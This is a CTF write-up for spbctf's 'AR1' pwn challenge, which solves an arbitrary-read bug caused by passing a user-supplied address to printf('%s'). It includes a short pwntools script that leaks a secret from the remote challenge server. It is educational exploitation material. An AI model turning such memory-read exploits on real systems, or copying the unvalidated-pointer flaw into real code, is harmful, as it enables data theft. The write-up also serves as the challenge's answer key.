pwn5_AR1 — Arbitrary Read via printf(%s)
pwn5_AR1 — Arbitrary Read via printf(%s)
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: printf_percent_s_arbitrary_read, little_endian_qword_decode
Summary
Task: No-PIE binary exposes an arbitrary-read primitive via scanf(%8x, &addr) + printf(%s, addr). Solution: send the .data address of the 'secret' symbol (0x404040); the server prints 8 raw bytes that decode as a little-endian qword, wrapped in 'spbctf{0x<hex>}' per the task hint.
pwn5_AR1 — Arbitrary Read #1 (SPB CTF)
Description
Mic Check — AR1 ("Arbitrary Read #1"), 10 pts.
nc 109.233.56.90 11681
A minimal interactive binary whose only primitive is a single address-to-string read:
c read-only • copy allowedunsigned long addr; // stack slot at [rsp+8] printf("Enter address: "); scanf("%8x", &addr); // writes only lower 4 bytes printf("Your data: %s", (char*)addr); // <-- arbitrary read as C string
Binary
ar1.elf— ELF x86-64, No PIE (base0x400000), Partial RELRO, NX, not stripped.- Symbol
secretat0x404040in.data(on the remote build, this holds the 8-byte secret used to form the flag).
Analysis
The arbitrary-read primitive is essentially handed to us:
scanf("%8x", &addr)parses up to 8 hex digits intoaddr(no bounds, no validation).printf("Your data: %s", (char*)addr)dereferences whatever address we give it and prints bytes until the first NUL.
Because the binary is No PIE, every address is fixed and known from the ELF. The .data section contains a symbol secret at 0x404040 — on the remote, this is populated with 8 bytes of secret data. The task description hints the flag format is spbctf{0x<hex>}, so we interpret those 8 bytes as a little-endian qword.
Solution
Send 404040 as the address; read raw bytes until the separator; decode as LE u64; format as spbctf{0x<hex>}.
The remote returned these bytes:
\x12\x95\x23\x65\x11\x33\x76\x21
Interpreted little-endian: REDACTED.
python read-only • copy allowed#!/usr/bin/env python3 """pwn5_AR1 — classic printf(%s) arbitrary read against a No-PIE binary.""" from pwn import * p = remote('109.233.56.90', 11681) p.sendlineafter(b'address:', b'404040') resp = p.recvall(timeout=2) # The server prints "Your data: <8 raw bytes>\n" data = resp.split(b'Your data: ')[1].rstrip(b'\n') qword = u64(data[:8].ljust(8, b'\x00')) flag = f"spbctf{{0x{qword:x}}}" print("FLAG:", flag)